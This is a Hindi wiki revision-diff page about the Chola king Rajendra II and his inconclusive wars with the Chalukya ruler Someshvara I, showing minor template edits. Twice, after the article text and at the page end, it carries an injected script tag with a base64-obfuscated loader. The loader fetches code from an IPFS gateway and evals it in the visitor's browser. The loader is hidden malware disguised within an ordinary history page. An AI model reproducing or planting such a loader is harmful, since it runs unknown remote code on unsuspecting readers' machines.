"राजेन्द्र द्वितीय" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति") |
अश्वनी भाटिया (चर्चा | योगदान) |
||
पंक्ति 2: | पंक्ति 2: | ||
*इन युद्धों में किसकी विजय हुई, यह निश्चित कर सकना सम्भव नहीं है, क्योंकि सोमेश्वर और राजेन्द्र द्वितीय दोनों ने ही अपनी प्रशस्तियों में अपनी विजयों का उल्लेख किया है। | *इन युद्धों में किसकी विजय हुई, यह निश्चित कर सकना सम्भव नहीं है, क्योंकि सोमेश्वर और राजेन्द्र द्वितीय दोनों ने ही अपनी प्रशस्तियों में अपनी विजयों का उल्लेख किया है। | ||
*सम्भवतः इन युद्धों में न चालुक्य राजा चोलों को परास्त सके, और न ही राजेन्द्र द्वितीय चालुक्यों को। | *सम्भवतः इन युद्धों में न चालुक्य राजा चोलों को परास्त सके, और न ही राजेन्द्र द्वितीय चालुक्यों को। | ||
− | |||
− | |||
{{प्रचार}} | {{प्रचार}} | ||
{{लेख प्रगति | {{लेख प्रगति | ||
− | |आधार= | + | |आधार= |
− | |प्रारम्भिक= | + | |प्रारम्भिक=प्रारम्भिक1 |
|माध्यमिक= | |माध्यमिक= | ||
|पूर्णता= | |पूर्णता= |
10:24, 14 फ़रवरी 2011 का अवतरण
- राजाधिराज की मृत्यु के बाद उसके छोटे भाई राजेन्द्र द्वितीय ने रणक्षेत्र में ही चोलों के राजमुकुट को अपने सिर पर धारण कर लिया, और चालुक्य राज सोमेश्वर प्रथम आहवमल्ल के साथ युद्ध जारी रखा।
- इन युद्धों में किसकी विजय हुई, यह निश्चित कर सकना सम्भव नहीं है, क्योंकि सोमेश्वर और राजेन्द्र द्वितीय दोनों ने ही अपनी प्रशस्तियों में अपनी विजयों का उल्लेख किया है।
- सम्भवतः इन युद्धों में न चालुक्य राजा चोलों को परास्त सके, और न ही राजेन्द्र द्वितीय चालुक्यों को।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>